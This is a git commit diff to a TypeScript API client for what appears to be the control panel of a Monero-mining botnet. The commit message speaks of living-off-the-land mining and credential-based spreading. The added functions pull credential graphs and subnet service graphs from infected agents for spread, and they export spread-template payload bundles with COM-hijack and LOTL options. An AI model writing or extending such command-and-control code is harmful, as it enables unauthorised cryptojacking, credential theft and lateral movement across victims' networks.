Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
@@ -271,7 +271,7 @@ export const api = {
|
||||
}),
|
||||
|
||||
sendBulkCommand: (agentIds: string[], action: string) =>
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string; category?: string; label?: string }>('/agents/bulk-command', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||||
}),
|
||||
@@ -302,6 +302,33 @@ export const api = {
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
getCredentialGraph: async (): Promise<import('../types/recon').CredentialGraphResponse | null> => {
|
||||
try {
|
||||
return await fetchJSON<import('../types/recon').CredentialGraphResponse>('/spread/credential-graph');
|
||||
} catch (e) {
|
||||
if (e instanceof Error && e.message.includes('404')) return null;
|
||||
throw e;
|
||||
}
|
||||
},
|
||||
|
||||
getServiceGraph: async (params: {
|
||||
agentId?: string;
|
||||
subnet?: string;
|
||||
}): Promise<import('../types/recon').ServiceGraphResponse | null> => {
|
||||
const q = new URLSearchParams();
|
||||
if (params.agentId) q.set('agent_id', params.agentId);
|
||||
if (params.subnet) q.set('subnet', params.subnet);
|
||||
const qs = q.toString();
|
||||
try {
|
||||
return await fetchJSON<import('../types/recon').ServiceGraphResponse>(
|
||||
`/spread/service-graph${qs ? `?${qs}` : ''}`,
|
||||
);
|
||||
} catch (e) {
|
||||
if (e instanceof Error && e.message.includes('404')) return null;
|
||||
throw e;
|
||||
}
|
||||
},
|
||||
|
||||
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
|
||||
pushFleetPolicy: (body: {
|
||||
agent_ids: string[];
|
||||
@@ -394,6 +421,31 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportSpreadTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
com_hijack?: boolean;
|
||||
lotl_mode?: string;
|
||||
agent_path?: string;
|
||||
}) => {
|
||||
const res = await fetch(`${API_BASE}/builder/spread-template-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
@@ -401,7 +453,27 @@ export const api = {
|
||||
body: JSON.stringify({ agent_ids: agentIds }),
|
||||
}),
|
||||
getTraceStatus: (id: string) =>
|
||||
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
|
||||
fetchJSON<{
|
||||
session_id: string;
|
||||
ready: boolean;
|
||||
error?: string;
|
||||
hops: PathTraceHop[];
|
||||
service_graph?: ServiceGraphHost[];
|
||||
discover_in_progress?: boolean;
|
||||
discover_error?: string;
|
||||
discovered_at?: string;
|
||||
}>(`/pathtrace/${id}/status`),
|
||||
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
session_id: string;
|
||||
error?: string;
|
||||
service_graph?: ServiceGraphHost[];
|
||||
discovered_at?: string;
|
||||
}>('/pathtrace/discover', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ session_id: sessionId, max_hosts: maxHosts }),
|
||||
}),
|
||||
getTraceQR: (id: string) =>
|
||||
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
|
||||
deleteTrace: (id: string) =>
|
||||
|
||||
Reference in New Issue
Block a user